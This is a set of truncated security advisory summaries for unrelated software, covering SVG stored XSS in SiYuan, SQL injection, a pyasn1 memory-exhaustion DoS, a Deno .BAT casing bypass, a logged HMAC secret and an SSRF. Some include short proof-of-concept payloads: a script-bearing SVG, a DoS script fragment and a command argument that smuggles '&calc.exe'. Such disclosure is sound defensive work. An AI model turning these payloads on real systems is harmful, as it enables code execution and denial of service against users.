### Summary A Stored Cross-Site Scripting (XSS) vulnerability exists in SiYuan Note. The application does not sanitize uploaded SVG files. If a user uploads and views a malicious SVG file (e.g., imported from an untrusted source), arbitrary JavaScript code is executed in the context of their authenticated session. ### Details The application allows authenticated users to upload files, including .svg images, without sanitizing the input to remove embedded JavaScript code (such as <script> tags or event handlers). ### PoC 1. Create a new "Daily note" in the workspace. <img width="1287" height="572" alt="image" src="https://github.com/user-attachments/assets/3a4389b9-695d-4e1b-94dc-72efdb047aa9" /> 2. Create a file named test.svg with malicious JavaScript inside: ``` <svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 124 124" fill="none"> <rect width="124" height="124" rx="24" fill="red"/> <script type="text/javascript"> alert(window.origin); <...

Active Job vulnerability: An Active Job bug allowed String arguments to be deserialized as if they were Global IDs, an object injection security vulnerability.

ActiveRecord-JDBC-Adapter (AR-JDBC) contains a flaw that may allow carrying out an SQL injection attack. The issue is due to the sql.gsub() function in lib/arjdbc/jdbc/adapter.rb not properly sanitizing user-supplied input before using it in SQL queries. This may allow a remote attacker to inject or manipulate SQL queries in the back-end database, allowing for the manipulation or disclosure of arbitrary data.

### Summary After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets. ### Details The integer issue can be found in the decoder as `reloid += ((subId << 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496 ### PoC For the DoS: ```py import pyasn1.codec.ber.decoder as decoder import pyasn1.type.univ as univ import sys import resource # Deliberately set memory limit to display PoC try: resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024)) print("[*] Memory limit set to 100MB") except: print("[-] Could not set memory limit") # Test with different payload sizes to find the DoS threshold payload_size_mb = int(sys.argv[1]) print(f"[*] Testing with {payload_size_mb}MB payload...") payload_size = payload_size_mb * 1024 * 1024 # Create payload with continuation octets # Each 0x81 byte indicates continuation, ...

### Impact Multi-translation download could write to an arbitrary location when instructed by a crafted server. ### Patches * https://github.com/WeblateOrg/wlc/pull/1128 ### Workarounds Do not use `wlc download` with untrusted servers. ### References This issue was reported to us by [wh1zee](https://hackerone.com/wh1zee) via HackerOne.

### Impact When [Jupyter Lab](https://jupyterlab.readthedocs.io/en/latest/), [jupyter-server-proxy](https://github.com/jupyterhub/jupyter-server-proxy) and [Dask distributed](https://github.com/dask/distributed) are all run together it is possible to craft a URL which will result in code being executed by Jupyter due to a cross-side-scripting (XSS) bug in the Dask dashboard. It is possible for attackers to craft a phishing URL that assumes Jupyter Lab and Dask may be running on localhost and using default ports. If a user clicks on the malicious link it will open an error page in the Dask Dashboard via the Jupyter Lab proxy which will cause code to be executed by the default Jupyter Python kernel. In order for a user to be impacted they must be running Jupyter Lab locally on the default port (with the [jupyter-server-proxy](https://github.com/jupyterhub/jupyter-server-proxy)) and a Dask distributed cluster on the default port. Then they would need to click the link which would execut...

### Summary A prior patch aimed to block spawning Windows batch/shell files by returning an error when a spawned path’s extension matched `.bat` or `.cmd`. That check performs a case-sensitive comparison against lowercase literals and therefore can be bypassed when the extension uses alternate casing (for example `.BAT, .Bat`, etc.). ### POC ```javascript const command = new Deno.Command('./test.BAT', { args: ['&calc.exe'], }); const child = command.spawn(); ``` This causes `calc.exe` to be launched; see the attached screenshot for evidence. **Patched in `CVE-2025-61787` — prevents execution of `.bat` and `.cmd` files:**  **Bypass of the patched vulnerability:**  ### Impact The script launches calc.exe on Windows, demonstrating that passing user-controlled argument...

### Summary The vulnerability allows an attacker to have infinite encryptions. This can lead to naive attempts at brute forcing, as well as more refined attacks with the goal to learn the server secrets. ### PoC ```js import crypto from "node:crypto"; const key = crypto.randomBytes(32); const iv = crypto.randomBytes(16); const cipher = crypto.createCipheriv("aes-256-cbc", key, iv); cipher.final() console.log(cipher); ``` ### Expected Output ```js Cipheriv { _decoder: null, _options: undefined, Symbol(kHandle): CipherBase {} } ``` ### Actual Output ```js Cipheriv { _events: { close: undefined, error: undefined, prefinish: [Function: prefinish], finish: undefined, drain: undefined, data: undefined, end: undefined, readable: undefined }, _readableState: ReadableState { highWaterMark: 65536, buffer: [], bufferIndex: 0, length: 0, pipes: [], awaitDrainWriters: null, [Symbol(kState)]: 1048844 }, _writableStat...

### Summary Invalid RPC signatures cause the server to log the shared HMAC secret (and expected signature), which exposes the secret to log readers and enables forged RPC calls. ### Details In [`crates/ecstore/src/rpc/http_auth.rs:115-122`](https://github.com/rustfs/rustfs/blob/9e162b6e9ebb874cc1d06a7b33bc4a05786578aa/crates/ecstore/src/rpc/http_auth.rs#L115-L122) , the invalid signature branch logs sensitive data: ```rs if signature != expected_signature { error!( "verify_rpc_signature: Invalid signature: secret {}, url {}, method {}, timestamp {}, signature {}, expected_signature {}", secret, url, method, timestamp, signature, expected_signature ); return Err(std::io::Error::other("Invalid signature")); } ``` This log line includes `secret` and `expected_signature`, both derived from the shared HMAC key. Any invalidly signed request triggers this path. The function is reachable from RPC and admin request handlers. ### PoC 1. Run RustFS with error loggi...

Nu Html Checker (validator.nu) contains a restriction bypass that allows remote attackers to make the server perform arbitrary HTTP/HTTPS requests to internal resources, including localhost services. While the validator implements hostname-based protections to block direct access to localhost and 127.0.0.1, these controls can be bypassed using DNS rebinding techniques or domains that resolve to loopback addresses.This issue affects The Nu Html Checker (vnu): latest (commit 23f090a11bab8d0d4e698f1ffc197a4fe226a9cd).
